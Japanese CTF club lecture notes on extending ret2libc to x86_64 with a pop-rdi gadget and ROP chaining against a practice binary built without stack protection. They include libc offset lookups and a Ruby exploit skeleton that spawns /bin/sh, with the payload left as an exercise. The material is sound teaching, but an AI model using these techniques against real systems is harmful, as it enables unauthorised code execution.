CTF班 第20回
前回はret2libcをしました
今日はそれをx86_64すなわち64bit環境で動かす方法について考えてみます。
CTF班 第18回のバイナリをx86_64向けにコンパイルしなおしたものを置いておいたのでダウンロードしてください 自分でコンパイルするなら$ clang ./vuln.c -o vuln -fno-stack-protector -no-pie
x86-64で動くようにする
gadgetについて
callされる前に…
x86→引数はスタックに積んでおく
x86_64→引数はレジスタ (rdi, rsi, rdx, rcx, r9… 要検証)に入れておく これもgdbで見てみる
https://gyazo.com/81fa939b9423c1d3cc1fea04523397f0
レジスタに引数を入れるにはどうすればいいだろう?
まずスタックに引数を置く
次にgadgetでスタックのデータをレジスタに移す
code:asm
pop rdi
ret
こういうコードがあれば、スタックの一番上のデータをrdiに格納して別の場所で処理を継続できる
system("/bin/sh")を呼びたい
popret gadgetを使って"/bin/sh"のアドレスをrdiに格納してから、systemを呼び出す
2つを連続して呼び出すにはどうすればいいだろう?
前回はsystemからのリターンアドレスとして、ダミーの値を入れていました
https://gyazo.com/1dff526ea6aea3f92328dea5b1ce8ae3
systemを呼び出してしまえばもとのプログラムに戻る必要がなかった
逆に、以下のようにリターンアドレスにちゃんとアドレスを書き込んでやれば処理を別の部分にバトンタッチできます
やってみる
(解析対象のバイナリではなく)動作環境がLinux 64bitならrp-lin-x64
https://gyazo.com/2886f5b33a24f58ccb143bad856b69ed
gadgetのアドレスをメモしておきます
libcが読み込まれるアドレス、/bin/shとsystem関数のオフセットを取っておきます
code:bash
$ ldd vuln
linux-vdso.so.1 (0x00007ffff7fd1000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7ddb000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fd3000)
$ nm -D /usr/lib/libc.so.6 | rg system
0000000000045380 T __libc_system
000000000012cc00 T svcerr_systemerr
0000000000045380 W system
$ strings -a -t x /usr/lib/libc.so.6 | rg bin/sh
184519 /bin/sh
code:exploit.rb
# encoding: ASCII-8BIT
require 'pwn'
context.arch = 'amd64'
context.log_level = :debug
s = Tubes::Process.new './vuln'
libc_addr = (libcが読み込まれるアドレス)
system_addr = libc_addr + (system関数のオフセット)
binsh_addr = libc_addr + (/bin/shの文字列のオフセット)
gadget_addr = libc_addr + (gadgetのオフセット)
payload = # ここに書いてみる
s.recvuntil "Put data!"
s.send payload + "\n"
s.interact # ユーザーが操作できるようにします
ROP: Return-Oriented Programming
Object-Oriented Programming = OOP = オブジェクト指向プログラミング
このpopret gadgetやret2libcを複数つなげるのをROP chainと言ったりします
ropasaurusex